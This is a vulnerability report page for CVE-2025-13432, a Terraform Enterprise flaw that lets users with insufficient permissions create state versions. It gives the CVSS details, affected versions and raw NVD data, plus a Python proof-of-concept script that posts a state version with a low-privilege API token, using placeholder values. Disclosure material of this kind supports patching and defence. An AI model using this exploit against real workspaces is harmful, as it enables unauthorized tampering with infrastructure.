Security Vulnerability Report
中文
CVE-2025-13432 CVSS 4.3 MEDIUM

CVE-2025-13432

Published: 2025-11-21 15:15:52
Last Modified: 2025-12-10 21:02:37

Description

Terraform state versions can be created by a user with specific but insufficient permissions in a Terraform Enterprise workspace. This may allow for the alteration of infrastructure if a subsequent plan operation is approved by a user with approval permission or auto-applied. This vulnerability, CVE-2025-13432, is fixed in Terraform Enterprise version 1.1.1 and 1.0.3.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:hashicorp:terraform:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:hashicorp:terraform:1.1.0:*:*:*:enterprise:*:*:* - VULNERABLE
Terraform Enterprise < 1.0.3
Terraform Enterprise 1.1.x < 1.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13432 Terraform Enterprise State Version Creation PoC # This PoC demonstrates the permission bypass vulnerability import requests import json TARGET = "https://terraform-enterprise.example.com" WORKSPACE_ID = "ws-xxxxx" API_TOKEN = "your-low-privilege-token" def create_state_version(): """ Exploit: Create state version with insufficient permissions Normal users should not be able to create state versions without write access """ headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/vnd.api+json" } # Create state version with low privilege token url = f"{TARGET}/api/v2/workspaces/{WORKSPACE_ID}/state-versions" data = { "data": { "type": "state-versions", "attributes": { "state": "base64-encoded-state-content" } } } response = requests.post(url, headers=headers, json=data) if response.status_code in [200, 201]: print("[+] State version created successfully (vulnerability confirmed)") print(f"Response: {response.json()}") return True else: print(f"[-] Request failed: {response.status_code}") return False def check_workspace_permissions(): """Verify the token only has limited permissions""" headers = { "Authorization": f"Bearer {API_TOKEN}" } url = f"{TARGET}/api/v2/workspaces/{WORKSPACE_ID}" response = requests.get(url, headers=headers) if response.status_code == 200: workspace = response.json().get('data', {}) permissions = workspace.get('attributes', {}).get('permissions', {}) print(f"[*] Workspace permissions: {json.dumps(permissions, indent=2)}") return permissions if __name__ == "__main__": print("[*] CVE-2025-13432 Terraform Enterprise Permission Bypass PoC") permissions = check_workspace_permissions() create_state_version()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13432", "sourceIdentifier": "[email protected]", "published": "2025-11-21T15:15:51.660", "lastModified": "2025-12-10T21:02:36.733", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Terraform state versions can be created by a user with specific but insufficient permissions in a Terraform Enterprise workspace. This may allow for the alteration of infrastructure if a subsequent plan operation is approved by a user with approval permission or auto-applied. This vulnerability, CVE-2025-13432, is fixed in Terraform Enterprise version 1.1.1 and 1.0.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hashicorp:terraform:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.0.3", "matchCriteriaId": "6A2FB703-8C61-40EF-BA89-DBB5CE5BBCB4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hashicorp:terraform:1.1.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "DC8C7167-D556-4C85-AE6F-9B78C5004DC6"}]}]}], "references": [{"url": "https://discuss.hashicorp.com/t/hcsec-2025-34-terraform-enterprise-state-versions-can-be-created-by-users-without-sufficient-write-access/76821", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}